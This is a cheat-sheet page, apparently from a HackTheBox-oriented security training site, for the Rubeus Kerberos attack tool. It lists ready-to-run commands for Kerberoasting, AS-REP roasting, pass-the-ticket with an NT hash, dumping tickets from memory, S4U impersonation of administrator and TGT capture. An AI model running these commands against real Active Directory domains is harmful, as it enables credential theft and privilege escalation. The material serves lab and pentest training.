Rubeus
Rubeus does from a Windows session what Impacket does from Linux, with extras such as tgtdeleg (getting a usable TGT without being admin) or monitor to capture TGTs on hosts with unconstrained delegation.
- Platform
- Windows (C#)
- Official site
- github.com/GhostPack/Rubeus
- On HTB
- 4 machines
Install
# Compílalo con Visual Studio desde el repositorio de GhostPack (no hay binarios oficiales)- T1558.003 Kerberoasting
- T1558.004 AS-REP Roasting
- T1550.003 Pass the Ticket
- T1558 Steal or Forge Kerberos Tickets
- Kerberoasting
- AS-REP roasting
- Kerberos delegation (RBCD)
- Pass-the-hash / ticket
Rubeus cheat sheet
Your values
Saved in this browser and applied to every cheatsheet.
Roasting
Kerberoasting
Target
.\Rubeus.exe kerberoast /outfile:kerberoast.txt
AS-REP roasting
Target
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txtTickets
TGT from the NT hash, injected into the session
Target
.\Rubeus.exe asktgt /user:usuario /rc4:64f12cddaa88057e06a81b54e73b949b /ptt
TGT for the current user without being admin
Target
.\Rubeus.exe tgtdeleg /nowrap
List and dump tickets in memory
Target
.\Rubeus.exe triage
.\Rubeus.exe dump /nowrapDelegation
S4U: service ticket as administrator
Target
.\Rubeus.exe s4u /user:CUENTA$ /rc4:64f12cddaa88057e06a81b54e73b949b /impersonateuser:administrator /msdsspn:cifs/dc01.box.htb /ptt
Capture TGTs on a host with unconstrained delegation
Target
.\Rubeus.exe monitor /interval:5 /nowrapNo command matches.
HTB machines where Rubeus is used
Taken from the chapters of IppSec videos where Rubeus shows up. The ▶ link jumps to the minute of that part.
Guides that use Rubeus
- Kerberos delegation: unconstrained, constrained and RBCD explained and exploited 4 min read The three kinds of Kerberos delegation in AD, how to find them, and how to abuse each with getST, rbcd.py and addcomputer to impersonate the administrator.
- Kerberoasting and AS-REP Roasting: crackable hashes from Active Directory 3 min read What makes an account vulnerable, how to request the tickets with Impacket, NetExec or Rubeus, how to crack them with hashcat, and the usual errors (clock, etype, usernames).
- Windows lateral movement: pass-the-hash, pass-the-ticket, WinRM, PsExec and WMI 4 min read Use a password, NT hash or Kerberos ticket to run commands elsewhere: evil-winrm, psexec, wmiexec, RDP, overpass-the-hash and golden and silver tickets.